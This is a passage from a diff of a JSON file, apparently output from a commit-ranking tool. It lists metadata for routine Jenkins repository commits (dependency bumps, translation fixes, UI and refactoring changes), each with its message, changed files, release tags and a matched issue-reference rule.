"relevance": 2 + } + ] + }, + { + "commit_id": "b0a251ab8cfbad9c5ed32fb1fdd2081a869d4e1e", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1709668885, + "hunks": 8, + "message": "Add copy-to-clipboard button to the build console output (#8960) * Add copy-to-clipboard button to the build console output * Fix copy button did not work with progressive output * Use getElementById instead of querySelector * Update copyButton documentation * Update core/src/main/resources/lib/layout/copyButton.jelly Co-authored-by: Alexander Brandes --------- Co-authored-by: Alexander Brandes Co-authored-by: Alexander Brandes ", + "changed_files": [ + "core/src/main/resources/hudson/model/Run/console.jelly", + "core/src/main/resources/hudson/model/Run/console.properties", + "core/src/main/resources/lib/layout/copyButton.jelly", + "core/src/main/resources/lib/layout/copyButton/copyButton.js" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8960": "Add download option to 'Console output', move 'View as plain text' and 'Copy' buttons to app bar #9169" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8960", + "relevance": 2 + } + ] + }, + { + "commit_id": "13c86eeaf6354ea4f1b83e59752b43b4be200d2a", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1709668875, + "hunks": 51, + "message": "`Nodes` persistence cleanup, APIs to control loading (#8979) Co-authored-by: Vincent Latombe ", + "changed_files": [ + "core/src/main/java/hudson/model/Node.java", + "core/src/main/java/jenkins/model/Jenkins.java", + "core/src/main/java/jenkins/model/NodeListener.java", + "core/src/main/java/jenkins/model/Nodes.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8979": "Simplified NodeContributor.record on updated jenkinsci/matrix-auth-plugin#158 Bump org.jenkins-ci.plugins:matrix-auth from 3.2.1 to 3.2.2 in /bom-weekly jenkinsci/bom#2998 Follow-up fixes to Nodes refactoring #9053" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8979", + "relevance": 2 + } + ] + }, + { + "commit_id": "50f675f6e7a255e743066311c3acb7b35e59d008", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1709470699, + "hunks": 5, + "message": "Update Messages_es.properties, minor fixes in spanish translations (#9005) Some corrections in spanish translations", + "changed_files": [ + "core/src/main/resources/hudson/model/Messages_es.properties" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9005": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9005", + "relevance": 2 + } + ] + }, + { + "commit_id": "3bfef8dacd083d542118e7795a372e775fff1831", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1709470677, + "hunks": 0, + "message": "Merge pull request #8998 from basil/compress Upgrade `org.apache.commons:commons-compress` from 1.25.0 to 1.26.0 on `stable-2.440`", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8998": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8998", + "relevance": 2 + } + ] + }, + { + "commit_id": "e82487f257bd79fe96a6f0911dbf0410d3aceb51", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1709458480, + "hunks": 1, + "message": "Use `ABORTED` from `Run.reload` (#8986)", + "changed_files": [ + "core/src/main/java/hudson/model/Run.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8986": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8986", + "relevance": 2 + } + ] + }, + { + "commit_id": "699f22167c01977d996fe56dee240e9bf1b2cbc2", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1709455935, + "hunks": 4, + "message": "Update dependency postcss-loader to v8.1.1 (#9010) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9010": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9010", + "relevance": 2 + } + ] + }, + { + "commit_id": "97b07c05d9ed431e4ec1ec714bfc79cc7532d91b", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1709395217, + "hunks": 1, + "message": "Bump org.jenkins-ci.plugins:credentials from 1319.v7eb_51b_3a_c97b_ to 1337.v60b_d7b_c7b_c9f (#9007) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "test/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9007": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9007", + "relevance": 2 + } + ] + }, + { + "commit_id": "98bd62d5ad4934fdf74899d9ebbda1f221ce4960", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1709395173, + "hunks": 25, + "message": "Update babel monorepo to v7.24.0 (#9011) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9011": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9011", + "relevance": 2 + } + ] + }, + { + "commit_id": "b8e916a5367d41b0702f4efa9725ae5d1d6a9f7c", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1709375803, + "hunks": 5, + "message": "Further reduce usages of `StringUtils` (#9002)", + "changed_files": [ + "core/src/main/java/hudson/model/Descriptor.java", + "core/src/main/java/hudson/util/FormValidation.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9002": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9002", + "relevance": 2 + } + ] + }, + { + "commit_id": "db29f34460ed211484a331595986fe626cf2dce7", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1709331496, + "hunks": 1, + "message": "Stop shipping `commons-lang3` (#8997)", + "changed_files": [ + "core/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8997": "Upgrade org.apache.commons:commons-compress from 1.25.0 to 1.26.0 on stable-2.440 #8998 Make commons-lang3 optional apache/commons-compress#489 deps: use commons-lang3 replace commons-lang #8996 Bump org.apache.commons:commons-compress from 1.26.1 to 1.26.2 #9307 Ban library plugins #9332 Update dependency org.apache.commons:commons-compress to v1.26.2 - autoclosed #9575" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8997", + "relevance": 2 + } + ] + }, + { + "commit_id": "aff37148c36dde873f53315cdd6629a47cf60bf0", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1709331470, + "hunks": 4, + "message": "Remove usages of `StringUtils#join` (#9003)", + "changed_files": [ + "core/src/main/resources/hudson/tasks/ArtifactArchiver/help-defaultExcludes.groovy", + "core/src/main/resources/hudson/tasks/Fingerprinter/help-defaultExcludes.groovy" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9003": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9003", + "relevance": 2 + } + ] + }, + { + "commit_id": "bf82c475b7c76feec262b80404ea9177f356096c", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1709316868, + "hunks": 2, + "message": "Bump io.jenkins.plugins:plugin-util-api from 3.8.0 to 4.1.0 (#8988) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "test/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8988": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8988", + "relevance": 2 + } + ] + }, + { + "commit_id": "19f0140adef29e86d150faa056a22ceb011c8b03", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1709247548, + "hunks": 1, + "message": "Bump com.puppycrawl.tools:checkstyle from 10.13.0 to 10.14.0 (#9000) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9000": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9000", + "relevance": 2 + } + ] + }, + { + "commit_id": "20263d06d445ead5b551ca08c946671a997a5f30", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1709155257, + "hunks": 2, + "message": "Move `CloudList.setOwner` call from `Jenkins.loadTasks` to `load` (#8976) Co-authored-by: Vincent Latombe ", + "changed_files": [ + "core/src/main/java/jenkins/model/Jenkins.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8976": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8976", + "relevance": 2 + } + ] + }, + { + "commit_id": "20696027875464226901df6549776465e680f427", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1709069072, + "hunks": 7, + "message": "Update dependency eslint to v8.57.0 (#8994) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8994": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8994", + "relevance": 2 + } + ] + }, + { + "commit_id": "9412faf5ccbbf19990bd0d04a9e13c3b98284486", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1708967751, + "hunks": 4, + "message": "Update dependency sass to v1.71.1 (#8991) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8991": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8991", + "relevance": 2 + } + ] + }, + { + "commit_id": "64607784f87e40352a2d31591d6c57f07ca70a31", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1708756473, + "hunks": 6, + "message": "[JENKINS-60866][JENKINS-71513] Apply Stapler update for CSP-compliant st:bind and renderOnDemand (#6865) * [JENKINS-60866] Apply Stapler update for CSP-compliant st:bind * [JENKINS-60866] Make renderOnDemand CSP-compliant * Thanks Spotless * Make Stapler incrementals work * Update Stapler to new incremental * Fixup bad merge * Update Stapler, add test demonstrating st:bind working * Address review feedback * Add test for null bind, update Stapler * Checkstyle * More tests * Use released Stapler --------- Co-authored-by: Daniel Beck Co-authored-by: Basil Crow ", + "changed_files": [ + "bom/pom.xml", + "core/src/main/java/hudson/Functions.java", + "core/src/main/resources/lib/layout/renderOnDemand.jelly", + "war/src/main/webapp/scripts/hudson-behavior.js" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "6865": "[JENKINS-60866] Extract inline JS from progressive rendering #6860 [JENKINS-60866] Add initial guidelines how to make code compatible with CSP jenkins-infra/jenkins.io#5301 [JENKINS-60866] Make st:bind tag and JavaScript proxy work without inline JS jenkinsci/stapler#385 stapler:bind is creating inline javascript jenkinsci/stapler#457 Bump stapler.version from 1822.v120278426e1c to 1839.ved17667b_a_eb_5 #8962 Test history refactoring and improvements jenkinsci/junit-plugin#625" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 6865", + "relevance": 2 + } + ] + }, + { + "commit_id": "0d9fe471a3fdfcdfc76d0e6189b095c9c4dde207", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1708756368, + "hunks": 1, + "message": "Bump roots/discourse-topic-github-release-action from 1.0.0 to 1.0.1 (#8982) Bumps [roots/discourse-topic-github-release-action](https://github.com/roots/discourse-topic-github-release-action) from 1.0.0 to 1.0.1. - [Release notes](https://github.com/roots/discourse-topic-github-release-action/releases) - [Commits](https://github.com/roots/discourse-topic-github-release-action/compare/fc9e50fa1a1ce6255ba4d03f104382845b79ad5f...c30dc233349b7c6f24f52fb1c659cc64f13b5474) --- updated-dependencies: - dependency-name: roots/discourse-topic-github-release-action dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + ".github/workflows/announce-lts-rc.yml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8982": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8982", + "relevance": 2 + } + ] + }, + { + "commit_id": "f7fea8d891dccedd6b16391ade1bef95374e8207", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1708706183, + "hunks": 1, + "message": "Bump ip from 2.0.0 to 2.0.1 in /war (#8973) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8973": "" + }, + "cve_refs": [], + 